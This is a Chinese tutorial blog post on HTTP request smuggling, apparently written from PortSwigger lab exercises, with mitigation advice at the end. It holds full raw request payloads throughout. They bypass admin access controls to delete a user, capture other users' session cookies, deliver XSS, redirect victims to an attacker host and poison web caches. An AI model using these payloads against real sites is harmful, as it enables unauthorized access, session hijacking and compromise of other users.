http请求走私详解

news2024/11/28 23:43:45

前言

HTTP请求走私是一种干扰网站正常处理从一个或多个用户收到的HTTP请求的方法,请求走私漏洞在本质上通常很关键,允许攻击者绕过安全控制,获得对敏感数据的未授权访问,并直接危害其他应用程序的用户。

随便提一句:本文的环境为网站https://portswigger.net/提供的在线环境。

漏洞成因简介

现在的网络架构,一般后端真实响应的服务器前端还有存在一个反向代理或者负载均衡的服务器,例如常见的Nginx + tomcat的响应方式。

为了提升响应效率,降低连接数等原因,前端服务器在将请求转发至后端服务器时,通常会将多个请求数据包打包一起打给后端服务器(http协议允许这么做),然后由后端服务器根据http 中的请求头"Content-Length"或者"Transfer-Encoding" 来判断一个请求的结束,这里就会出现一个问题那就时前端服务器和后端服务器判断数据是否属于一个请求时可能会存在冲突,导致请求的分割出现问题,从而导致了请求走私的发生。

下面是关于 Transfer-Encoding的简介,请求走私涉及的内容就是,如下格式的请求头。
Transfer-Encoding:chunked

  • 如果一个HTTP消息(包括客户端发送的请求消息或服务器返回的应答消息)的Transfer-Encoding消息头的值为chunked,那么,消息体由数量未定的块组成,并以最后一个大小为0的块为结束。

  • 每一个非空的块都以该块包含数据的字节数(字节数以十六进制表示)开始,跟随一个CRLF (回车及换行),然后是数据本身,最后块CRLF结束。在一些实现中,块大小和CRLF之间填充有白空格(0x20)。

  • 最后一块是单行,由块大小(0),一些可选的填充白空格,以及CRLF。最后一块不再包含任何数据,但是可以发送可选的尾部,包括消息头字段。

  • 消息最后以CRLF结尾。

RFC 2616 如果收到的消息同时带有 Transfer-Encoding 头域和 Content-Length 头域,则必须忽略后者。

漏洞示例详解

实验环境是在线的:https://portswigger.net/web-security/request-smuggling。

根据前后端判断数据包是否结束的http头不同,可以分为如下三种情况,。

  • CL.TE:前端服务器使用Content-Lengthheader,后端服务器使用Transfer-Encodingheader。
  • TE.CL:前端服务器使用Transfer-Encodingheader,后端服务器使用Content-Lengthheader。
  • TE.TE:前端服务器和后端服务器都支持Transfer-Encodingheader,但是可以通过某种方式混淆header来诱导其中一台服务器不处理它。

还有一种前后都使用Content-length作为判断依据时,为了使得前后不一致,那么就必须添加Transfer-Encoding,而根据RFC 2616 的定义 如果收到的消息同时带有 Transfer-Encoding 头域和 Content-Length 头域,则必须忽略后者。所以就跟上诉的情况重复了

在实验之前,需要注意一件事,那就是是否勾选了burp如上的这个选项,他会主动的将content-length的长度调整为实际的长度。

在这里插入图片描述

以下所有的情况,都是需要前端服务器认为是一个数据包,而后端判断不是一个数据包,从而达到各种各样的效果。

CL.TE

请求包示例如下

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G

对于CL.TE的这种情况来说,burp的Update Content-Length是否勾选是不影响结果的,这是因为,本来就是需要以Content-Length为判断标准的前端服务器认为这是一个请求包。

连续两次请求示例数据包,可能看到,后端将第一次请求中的G,作为第二次请求的开头进行解析。
在这里插入图片描述

TE.CL

请求示例数据包,最后记得两次回车,因为Transfer-Encoding就是以这个结束的。
也就是在数据流的情况下,是以以下内容结束的。

0\r\n
\r\n 
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked

60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0


一定要取消burp的Update Content-Length的勾选。

在这里插入图片描述

TE.TE

根据相关规定如果两者都存在,都支持的请求下会忽略content-length, 如果前后端服务器均支持的话,那么可以对Transfer-Encoding进行混淆,使得其中一个不支持Transfer-Encoding,那么就会演变成上面讲述的两种情况。

混淆示例

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

在这里插入图片描述

漏洞检测

在进行实验时,需要注意以下几点

  1. chunked分块传输时,计算每块的字节数时,最后一行是没有回车换行的。
  2. 普通方式传输时结束时也是没有回车换行的
  3. CL.TE类型的请求走私中,记得更新Content-Length的字节数
  4. TE.CL类型级记得更新作为POC的块的长度。

利用时间延迟

这种方法就是使用指定超出实际长度的Content-length或者没有结尾的chunck来让服务器以为请求不完整进行等待。从而造成时间延迟。

CL.TE

这个请求构造的是真的秒啊,如果存在延时返回就是存在http走私。

首先前端服务器是通过content-length来判断报文是否结束的,然后就会将最后的X剔除掉,成为符合Transfer-Encoding: chunked格式的请求数据包,并且没有结束符号,那么就会被等待。

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

TE.CL

通过"Transfer-Encoding: chunked" 将最后的数据剔除,同样的会符合content-length格式的数据,但是数据长度不够,就会造成等待。

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

利用响应内容判断

原请求

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

构造请求如下,如果成立的话就会返回404,不是这种情况的话那么也就是会返回解锁不到结果等内容。而不是状态码404.

CL.TE

探测数据包示例如图所示。

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: x

下面为在实验环境中成功尝试的截图,
在这里插入图片描述

TE.CL

请求包示例

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

实验截图

在这里插入图片描述

探测工具

  • https://github.com/defparam/smuggler
  • burp中的扩展插件http request smuggler

漏洞利用

绕过前端限制

假设一个应用程序使用前端服务器来实现访问控制限制,只有在用户被授权访问所请求的 URL 时才转发请求。后端服务器随后会接受每个请求而无需进一步检查。在这种情况下,可以使用 HTTP 请求走私漏洞通过将请求走私到受限 URL 来绕过访问控制。

CL.TE 绕过前端验证

尝试使用请求走私访问admin

POST / HTTP/1.1
Host: 0a64007703f07864c384deb600b6005e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Connection: Keep-Alive
Content-Length:32
Transfer-Encoding:chunked

0

GET /admin HTTP/1.1
FOOr:a

可以看到返回结果时未认证。
在这里插入图片描述

尝试绕过

POST / HTTP/1.1
Host: 0a64007703f07864c384deb600b6005e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Connection: Keep-Alive
Content-Length:32
Transfer-Encoding:chunked

0

GET /admin HTTP/1.1
Host:localhost
FOOr:a

使用特殊host的值进行绕过,又发现了新的问题,那就是重复、冲突的http头的值

通过构造格式,将后面走私的数据作为http请求的正文,而不是作为请求头了,而且由于get请求不解析请求内容,所以不影响。

POST / HTTP/1.1
Host: 0a64007703f07864c384deb600b6005e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Connection: Keep-Alive
Content-Length:74
Transfer-Encoding:chunked

0

GET /admin HTTP/1.1
Host:localhost
FOOr:a
Content-Length: 50  //这个也一定要有

x=

在这里插入图片描述

尝试进行其他操作,成功删除用户。
在这里插入图片描述

在这里插入图片描述

TE.CL的请求包

POST / HTTP/1.1
Host: 0a32001003c41b91c3a5fcb5003c00fc.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Connection: Keep-Alive
Content-Length:4
Transfer-Encoding:chunked

5c
GET /admin/delete?username=carlos HTTP/1.1
Host:localhost
FOOr:a
Content-Length: 50   //一定要有
 
x=
0

在这里插入图片描述

可以看到成功删除

在这里插入图片描述

暴露请求重写内容

在前端服务器将请求转发给后端服务器时,可能会对请求进行一部分的重写,例如添加一些类似与token啦,认证数据之类的内容。那么我们就需要得到这部分内容,进行权限的提升。

需要注意一点,我们通过请求走私读取http头中重写的内容,是为了绕过权限验证,而不是没有这个就不能正常请求,不然的话就没办法玩了。

具体操作方法如下

  1. 找到会反射输入内容的参数,就是类似存在xss的
  2. 将这个参数放在请求的最后,然后就可以通过走私,将下一个数据包的请求同部分作为这个参数的内容,然后会被反射到页面的值中

数据包示例如下。需要注意的就是要把握好Content-length的长度

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Connection: close

search=test

在这里插入图片描述

绕过权限,删除账户

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 166
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
X-abcdef-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10  //一定要有。
Connection: close

x=1

绕过客户端验证

作为 TLS 握手的一部分,服务器通过提供证书向客户端(通常是浏览器)验证自己。此证书包含他们的“公用名”(CN),该名称应与他们注册的主机名相匹配。然后客户端可以使用它来验证他们正在与属于预期域的合法服务器对话。

一些站点更进一步并实施一种相互 TLS 身份验证的形式,其中客户端还必须向服务器出示证书。在这种情况下,客户端的 CN 通常是用户名等,例如,它可以在后端应用程序逻辑中用作访问控制机制的一部分。

对客户端进行身份验证的组件通常通过一个或多个非标准 HTTP 标头将相关详细信息从证书传递到应用程序或后端服务器。例如,前端服务器有时会将包含客户端 CN 的标头附加到任何传入请求

GET /admin HTTP/1.1
Host: normal-website.com
X-SSL-CLIENT-CN: carlos

利用走私进行读取,绕后进行绕过,实际上,这种行为通常不可利用,因为前端服务器往往会覆盖这些标头(如果它们已经存在)。但是,走私的请求完全对前端隐藏,因此它们包含的任何标头都将原封不动地发送到后端。

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator
Foo: x

捕获其他用户请求

如果应用程序中存在存储和搜索之类的功能,也就是可以将输入反射出来的功能点,那么久可以通过HTTP请求走私来捕获其他用户请求的内容,在这些请求中,可能会包含会话令牌等敏感数据。常见的功能点就是:评论、电子邮件、个人资料描述、屏幕名称等。

需要捕获其他用户的数据,那么就需要走私一个带有参数。可以将参数内容映射出来的功能点,可以时存储,也可以是直接反应在返回包中。

我们可以走私一个上述相关的请求,然后将会被反射出来的值得到参数放到最后,类似与上面那个读取重写的请求的方式。

请求包

POST / HTTP/1.1
Host: 0a9900cb03aee7bbc40ea0cd00f70096.web-security-academy.net
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Connection: Keep-Alive
Content-Length:258
Transfer-Encoding:chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length:500
Cookie: __e_inc=1; session=84CauFGTySSY3WBKaGtjfJt05kH7IQSc

csrf=kWC5SidMdxs6JV3R86vgd4uiZZJsXnVy&postId=3&name=bbb&email=ccc%40qq.com&website=&comment=

我刚开始的时候还会报错,原来是没有添加cookie,

在这里插入图片描述在这里插入图片描述

调整数据包大小后,还是有成功的获取到部分有效数据的,像,secret、session等,成功劫持会话

在这里插入图片描述

使用HTTP请求走私利用反射XSS

  • 不需要与受害用户进行交互。无需向他们提供 URL 并等待用户访问。您只需走私一个包含 XSS 负载的请求,就会命中后端服务器处理的下一个用户请求。
  • 可以利用部分请求中的XSS行为,符合条件的都是在正常XSS中可以简单进行控制的。,例如 HTTP 请求标头。
    例如,假设某个应用程序的User-Agent标头中存在反射型 XSS 漏洞。您可以在请求走私攻击中利用它,

POC

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

重定向

利用请求走私将站内重定向转换为开放重定向

许多程序会将一个URL的请求重定向到另外的一个URL,并将HTTP标头中的主机名放入重定向URL,Apache和IIS Web服务器的默认行为,然后再请求的连接最后添加上对应的路径。

将走私内容的请求地址设置为自己服务器的web端口,然后观察是否能可以接收到对应的访问信息即可。

请求示例包

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

走私的请求可能会被解析成如下请求与返回包,无需与用户进行交互,即可将重定向到攻击者的网站上。

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

在这里,用户的请求是针对由网站上的页面导入的 JavaScript 文件。攻击者可以通过在响应中返回他们自己的 JavaScript 来完全危害受害用户。

将目录相对重定向转换为开放重定向

示例请求与返回内容

GET /example HTTP/1.1
Host: normal-website.com

HTTP/1.1 301 Moved Permanently
Location: /example/

如果服务器允许您在路径中使用协议相对 URL,这可能仍可用于开放重定向:

GET //attacker-website.com/example HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: //attacker-website.com/example/

使用HTTP请求走私执行Web缓存投毒

这里的缓存投毒使用更加简单了,只要使用相应的请求包请求执行成功之后,只要环境中存在前端缓存的情况下,那么也不再需要像正常实施Web缓存投毒那样进行构造,注意缓存键(识别请求包是否相等)和非缓存键了。

请求包示例

POST / HTTP/1.1
Host: 0a5900c104a3b70fc03059cc00db0014.web-security-academy.net
Content-Length: 129
Transfer-Encoding: chunked

0

GET /post/next?postId=6 HTTP/1.1
Host:exploit-0aba00c604b1b7b2c0ed589401110032.exploit-server.net
Content-length: 20

x=

在这里插入图片描述

GET /post?postId=7 HTTP/1.1
Host: exploit-0aba00c604b1b7b2c0ed589401110032.exploit-server.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

在这里插入图片描述

设置攻击服务器返回内容

在这里插入图片描述

重复多次的反复请求上面的两个数据包,总有拼接成功的时候,到时候,访问JS文件就会被跳转到攻击者的服务器中

从此时开始,当其他用户请求此 URL 时,他们会收到重定向到攻击者网站的信息。

此外还可以使用web缓存尽心通过欺骗用户,操作方法与上述相同。只不过是返回定制的具有欺骗性的内容。

漏洞修复

使用 HTTP/2 端到端并尽可能禁用 HTTP 降级。HTTP/2 使用稳健的机制来确定请求的长度,并且在端到端使用时,本质上可以防止请求走私。如果无法避免 HTTP 降级,请确保根据 HTTP/1.1 规范验证重写的请求。例如,拒绝标头中包含换行符、标头名称中包含冒号以及请求方法中包含空格的请求。

使前端服务器规范化不明确的请求,并使后端服务器拒绝任何仍然不明确的请求,并在此过程中关闭 TCP 连接。

永远不要假设请求没有主体。这是 CL.0 和客户端不同步漏洞的根本原因。

如果在处理请求时触发服务器级异常,则默认丢弃连接。

如果您通过转发代理路由流量,请确保在可能的情况下启用上游 HTTP/2。

参考

https://zh.m.wikipedia.org/zh-sg/%E5%88%86%E5%9D%97%E4%BC%A0%E8%BE%93%E7%BC%96%E7%A0%81
https://portswigger.net/web-security/request-smuggling
https://ricardoiramar.medium.com/the-powerful-http-request-smuggling-af208fafa142
https://medium.com/@StealthyBugs/http-request-smuggling-on-business-apple-com-and-others-2c43e81bcc52
https://infosecwriteups.com/exploiting-http-request-smuggling-te-cl-xss-to-website-takeover-c0fc634a661b
https://blog.shiftleft.io/http-request-smuggling-a-primer-dc5beb2ed9b5
https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
https://portswigger.net/web-security/request-smuggling/finding

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/152922.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

关系抽取概念及相关论文解读

1.信息抽取概述 信息抽取是构建知识图谱的必要条件。知识图谱中以&#xff08;subject&#xff0c;relation&#xff0c;object&#xff09;三元组的形式表示数据。信息抽取分为两大部分&#xff0c;一部分是命名实体识别&#xff0c;识别出文本中的实体&#xff0c;另外就是关…

【dp】排列问题——零钱兑换和组合总和IV

文章目录零钱兑换组合总和IV零钱兑换 很明显&#xff0c;本题使用完全背包算法&#xff0c;求解的是组合数&#xff0c;直接使用完全背包算法即可&#xff0c;为什么是组合数呢&#xff1f; 如果题目说 amount5&#xff0c;coins[1,2,5] 有9种方法&#xff0c;那就是排列数&am…

探秘SSD磨损均衡和闪存管理

一块2TB的SSD要进行3000PE耐久度测试&#xff0c;需要在顺序写入方式下&#xff08;写入放大比接近1&#xff09;写入2TB x 30006000TB的数据&#xff0c;这需要相当长的时间才能完成。有朋友可能会问&#xff1a;在SSD里划分一个1GB容量的小分区&#xff0c;往里面覆盖写入300…

2022年总结:责任驱动开源

文章目录概览阅读2022阅读清单2023 阅读目标文章2022文章列表2023 目标社区WeDataSpherecube-studio &#xff08;aiops平台&#xff09;社区展望小结概览 2022年一年过去&#xff0c;在此总结过往&#xff0c;展望未来&#xff0c;每年都写总结&#xff0c;我希望继往开来&am…

STC单片机基于Keil平台在线调试仿真

STC单片机基于Keil平台在线调试仿真⚡目前STC32G12K128型号的单片机仅支持需要通过SWD接口&#xff08;STC-USB LINK 1D&#xff09;进行调试&#xff0c;STC8H系列可以通过HID接口或者串口进行调试&#xff0c;其他不带HID功能型号的只能通过串口进行调试。 ✨初次调试&#x…

RHCE——编写playbook ansible

1.按照要求定义以下变量。&#xff08;可以在多个位置下定义实现相应操作即可&#xff09; | 变量名 | 值 | | --------- | ------- | | file_name | newfile | | user_name | devops | | pk_name | httpd | 2.编写任务模块在node1和node2主机中根据以上变量值创建对应文本文件…

IPC进程间通信-管道

&#x1f9f8;&#x1f9f8;&#x1f9f8;各位大佬大家好&#xff0c;我是猪皮兄弟&#x1f9f8;&#x1f9f8;&#x1f9f8; 文章目录一、了解进行间通信①进程间通信的必要性②进程间通信的技术背景二、管道①管道原理管道原理&#xff0c;三步走管道pipe②匿名管道进程间通…

CANoe-System And Communication Setup介绍

如同经典通信模式中,在Simulation Setup界面创建网络、添加节点、导入dbc数据库一样,新型通信模式使用System And Communication Setup完成这些配置 System And Communication Setup是通信配置的中心起点,在这里你可以配置: 应用层(application models)通信层(communic…

【自学Python】Python bytes类型

Python bytes类型 Python bytes类型教程 Python3 新增了 bytes 类型&#xff0c;用于代表字节序列。 字符串(string) 是一串字符组成的序列&#xff0c;字符串处理的基本单位是字符&#xff0c;bytes 类型是一串字节组成的序列&#xff0c;bytes 类型处理的基本单位是字节。…

三维重建基础: 坐标系 (更新中)

文章目录概述计算机视觉&#xff1a;投影矩阵M&#xff1a; 世界坐标系 -> 像平面坐标系相机坐标系 -> 像平面坐标系&#xff1a;世界坐标系 -> 相机坐标系计算机图形&#xff1a;MVP变换view/camera 变换常见坐标系定义colmap中的坐标系线性代数相关基础待办附录概述…

微信小程序安装 Vant 组件库与API Promise组件库

在项目内右键空白处选择在外部终端打开2、在终端窗口输入 npm init -y,创建package-lock.jsonnpm init -y3、在终端输入npm i vant/weapp1.3.3 -S --production&#xff0c;创建node_modules文件夹npm i vant/weapp1.3.3 -S --production4、详情&#xff0d;本地设置&#xff0…

安信证券资管清算重要业务在原生分布式数据库的创新实践

作者&#xff1a;安信证券信息技术委员会运维部系统平台室 刘盛彩、肖昭、张杰 来源:《金融电子化》 近日&#xff0c;《国务院关于数字经济发展情况的报告》&#xff08;以下简称报告&#xff09;提请十三届全国人大常委会第三十七次会议审议&#xff0c; 报告提出&#xff1a…

【Vue + Koa 前后端分离项目实战8】使用开源框架==>快速搭建后台管理系统 -- part8 【权限控制联调】

不要为了不值得的事和人感伤悲秋 本章主要关联章节&#xff1a;【Vue Koa 前后端分离项目实战3】使用开源框架&#xff1e;快速搭建后台管理系统 -- part3 权限控制行为日志_小白Rachel的博客-CSDN博客_koa权限管理 本章主要实现综合的系统权限管理 目录 一、权限控制说明 二…

【Linux】Linux常用指令(28个,以及热键,关机重启)

文章目录1、ls 指令2、pwd 命令3、cd 指令4、touch 指令5、mkdir 指令6、rmdir和rm 指令7、man 指令8、cp 指令9、mv 指令10、cat11、echo(输出&#xff0c;输入&#xff0c;追加重定向)12、wc13、more14、less15、head16、tail(以及管道 | )17、date18、cal19、find(which、wh…

KubeSphere使用外部ES进行日志收集(多行日志)

环境kubesphere &#xff1a; v3.3.1Docker&#xff1a;20.10.8Fluent-Bit&#xff1a;2.0.6-2.0.8ESKibana&#xff1a;7.9.3Docker日志示例{"log":"2023-01-10 11:32:50.021 - INFO --- [scheduling-1] traceId: p6spy : 1|conn-0|statement|SELECT fd_id A…

Java 泛型的介绍和使用

什么是泛型? 1.数据类型变得广泛,或者是数据类型变量化,这就是泛型.(广泛的类型). 2.有一个变量是用来存放一个数据类型,这就叫做泛型. 比如泛型T存放的是一个int 就表示为:Tint 当然T也可以是其他的数据类型,就取决我们给它数据类型. 3.泛型允许程序员在强类型程序设计语…

kafka zookeeper单机版安装部署全教程 含安装包

kafka zookeeper安装部署全教程 含安装包 大家好&#xff0c;我是酷酷的韩~ 一.基础软件安装 1.JDK安装部署 linux安装jdk1.8全教程(包含安装包) 二.安装包准备 1.kafka (kafka_2.12-2.8.0.tgz) https://kafka.apache.org/downloads 2.zookeeper (apache-zookeeper-3.7.…

最近爆火的电子血氧仪的基本原理

继口罩、抗原、药品之后,最近电子血氧仪的价格也开始水涨船高。从一个多月前的100多元,暴涨到了300多元。 那么,这类家用的电子血氧仪是如何工作的呢?测量数据到底准不准?今天就带大家来分析一下。 一、血氧仪工作原理 血氧仪是一种监测脉搏、血氧饱和度等指标的医疗器械…

人工智能-EM算法

目录1、EM算法2、EM算法介绍3、EM算法实例1、EM算法 EM算法&#xff1a;期望最大化算法。解决数据缺失情况下的参数估计问题 它是一个基础算法&#xff0c;是HMM等的基础 期望步:E步,最大步M步 步骤&#xff1a; 1&#xff0c;根据已经给出的观测数据&#xff0c;估计出模型参…

世界上第一款启用 QMK/VIA 的薄型无线机械键盘 Keychron K3 Pro 我刚刚入手

文章目录1. Keychron K3 Pro 是什么2. 键盘参数3. 打字音效测试4. 超薄5. 支持热插拔6. 薄型 Gateron 开关7. 薄型双射 PBT 键帽8. 多功能键9. 键盘部件可自定制10. 电池11. QMK 和 VIA 定制12. 产品清单13. 与 keychron k3 对比14. 与 keychron 其他系列对比14.1 为什么没有选…